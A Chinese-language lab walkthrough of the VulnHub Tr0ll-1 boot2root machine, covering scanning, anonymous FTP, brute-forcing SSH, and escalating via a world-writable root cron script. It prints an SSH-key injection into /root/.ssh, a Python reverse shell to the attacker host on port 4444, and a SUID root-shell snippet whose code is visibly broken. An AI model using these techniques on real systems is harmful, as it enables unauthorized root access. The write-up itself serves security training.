vulhub:Tr0ll-1

0x00 基本信息

下载地址:

Download: http://overflowsecurity.com/files/Tr0ll.rar
Download (Mirror): https://download.vulnhub.com/tr0ll/Tr0ll.rar
Download (Torrent): https://download.vulnhub.com/tr0ll/Tr0ll.rar.torrent ( Magnet)

描述:

Tr0ll was inspired by the constant trolling of the machines within the OSCP labs.
The goal is simple, gain root and get Proof.txt from the /root directory.
Not for the easily frustrated! Fair warning, there be trolls ahead!
Difficulty: Beginner ; Type: boot2root
Special thanks to @OS_Eagle11 and @superkojiman for suffering through the testing all the way to root!
The machine should pull an IP using DHCP, if you have any problems, contact me for a password to get it to working.
Feedback is always appreciated!
@maleus21

0x01 信息收集

kali:192.168.233.128
靶机:192.168.233.131
在这里插入图片描述
扫描端口:
在这里插入图片描述
namp脚本扫描:


PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: 
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /robots.txt: Robots file
|_  /secret/: Potentially interesting folder
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP匿名登录尝试,直接可以匿名登录,然后发现有一个lol.pacp,从中发现文件名secret_stuff.txt
在这里插入图片描述
在这里插入图片描述
发现文件内容为:

150 Here comes the directory listing.
-rw-r--r--    1 0        0             147 Aug 10 00:38 secret_stuff.txt
Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
Sucks, you were so close... gotta TRY HARDER!
150 Opening BINARY mode data connection for secret_stuff.txt (147 bytes).

目录扫描:
在这里插入图片描述
在secret上没有发现有价值的目录和内容,尝试刚刚ftp中文件中的拿来当做目录访问:
http://192.168.233.131/sup3rs3cr3tdirlol/,在目录下发现1个文件
在这里插入图片描述
下载该文件,检查文件类型,并尝试执行:
在这里插入图片描述

roflmao: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5e14420eaa59e599c2f508490483d959f3d2cf4f, not stripped

在这里插入图片描述
0x0856BF作为HTTP服务中的URL路径,发现以下目录:
在这里插入图片描述
在这里插入图片描述
pass.txt中发现如下内容:
在这里插入图片描述

0x02 漏洞利用

从刚刚收集的信息,可以猜想这个是账户和密码,使用hydra爆破,没登录成功,然后查看这个文件夹的文件“this_folder_contains_the_password” 文件里面的内容已经试过了,既然包含密码,就在使用 Pass.txt 作为密码试一试:
在这里插入图片描述
爆破的结果是 用户名:overflow 密码:Pass.txt

在这里插入图片描述

0x03 提取

内核版本提取

1、使用脚本查找提权方式
2、手动查找具有root权限的可执行文件
3、查找具有账户密码

先上传检测的脚本到 tmp目录下:
在这里插入图片描述
运行Linuxprivchecker脚本发现靶机内核版本为:Linux version 3.13.0
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
但是会有错误,执行不成功,但是在执行的过程中发现文件登录ssh一段时间就会退出,上传的文件一会儿就会被清除,因此猜测该服务器存在定时任务。

定时任务提权(ssh密钥对提取)

/var/log/cronlog中查看执行了哪些文件或者脚本,从截图可以看到是执行了cleaner.py脚本
在这里插入图片描述
通过find命令,找到clean.py脚本的位置:find命令查找脚本所在位置为/lib/log/cleaner.py
在这里插入图片描述
/lib/log/cleaner.py脚本在计划任务中是以root权限执行的,并且该脚本是全局可写的,那么我们就可以利用这一点进行提权。

第一步:生成龚私钥对(要登录谁,就要公钥放到谁的上面,就可以授权登录):
在这里插入图片描述
第二步:想办法将公钥的内容,写到服务器:

#!/usr/bin/env python
import os
import sys
try:
    os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCu214Af3aF3R5O1i4fKmTW3w5VC6p4xjb/F4IDRAJK62l4QSSIb1q93ODjWs2kXg1dWx4l2MwR7vD7KVfbvuqWyrvbapTWwfa7U4e0Nlx7Z6gSa64lq+VrsxI32rUx9TaCzplfeRi9DnuWVbS4VAYoSUwiCYISdXmAPaQ//gCx8zoyV3RzhcI152vG9bwpN2uAi8hbcBZ1BMeI6+E7rPx86r3gU0k+SteYV4KP2rZFKU7NHIJICMTXld2lnjvQNocJEILYxEz+oSFJm6vAFYvlSbPP3etkwCtoenbuATPfBcdWZclcuF82pf9QhA+c1ViI6Mwm9ZGv6JUulVyvh1Bgms0cw1NPZeArV0SqzHZJ2EnSkqVorVWlvYHBz/ax7brzRWGEJyFgmhERJfEh7KVze0qivs85KjQg8KGeIWHYIjH1G56HFi9sMKZZWrfSrL26Qa1FJ6KG+V+H1PITCKhDvhDkIBi/9I5Gggvwk0qjmdFAqSYYEDu8KUpe6f/IOLk= root@kali
" >> /root/.ssh/authorized_keys')
except:
    sys.exit()

在这里插入图片描述
第三步:在kali上通过私钥登录靶机:
在这里插入图片描述

定时任务提权(反弹shell)

第一步:编写好脚本:

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.233.128",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

第二步:上传到靶机,并覆盖原来的文件:
在这里插入图片描述
在这里插入图片描述
第三步:在kali上监听4444端口:
在这里插入图片描述

定时任务提权(suid提权)

第一步、编写程序并编译

ain(void){
	setgid(0);
	setuid(0);
	system(/bin/bash);
}

在这里插入图片描述
第二步:上传至靶机
在这里插入图片描述
第三步:修改脚本:
在这里插入图片描述
第四步:在tmp目录中执行生成的文件
在这里插入图片描述

0x04 总结

知识点总结:

1、内核版本提权
2、定时任务提权(cronlog)
(1)、ssh秘钥登录提权
(2)、python反弹shell
(3)、suid提权
3、什么是suid?

参考文章:

https://fdlucifer.github.io/2020/03/31/Tr0ll-1/
https://blog.csdn.net/weixin_44214107/article/details/100742919

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值